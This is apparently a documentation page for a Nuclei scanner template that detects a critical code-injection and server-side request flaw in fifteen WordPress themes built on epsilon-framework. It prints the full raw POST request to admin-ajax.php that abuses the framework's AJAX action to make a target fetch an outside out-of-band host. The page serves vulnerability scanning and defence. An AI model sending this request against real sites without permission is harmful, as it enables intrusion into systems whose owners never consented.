WordPress Themes - Code Injection
ID: wp-multiple-theme-ssrf
Severity: critical
Author: madrobot
Tags: wordpress,rce,ssrf,edb,wpscan
Description
Section titled “Description”Fifteen WordPress themes are susceptible to code injection using a version of epsilon-framework, due to lack of capability and CSRF nonce checks in AJAX actions.
YAML Source
Section titled “YAML Source”id: wp-multiple-theme-ssrf
info: name: WordPress Themes - Code Injection author: madrobot severity: critical description: Fifteen WordPress themes are susceptible to code injection using a version of epsilon-framework, due to lack of capability and CSRF nonce checks in AJAX actions. reference: - https://www.exploit-db.com/exploits/49327 - https://wpscan.com/vulnerability/10417 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cwe-id: CWE-94 metadata: max-request: 1 tags: wordpress,rce,ssrf,edb,wpscan
http: - raw: - | POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=https://oast.me/
matchers-condition: and matchers: - type: word part: body words: - "Interactsh Server" - "protocol_version"
- type: status status: - 200# digest: 4b0a004830460221008ad1da4145fbc1e20a229e803b36c0685d157e2cac297b78f8085f4b9975d89f022100ade2a5b1f626aa05d428768f5c13741f5e44d96f2043b6add2c4fb983c1b3a19:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-multiple-theme-ssrf.yaml"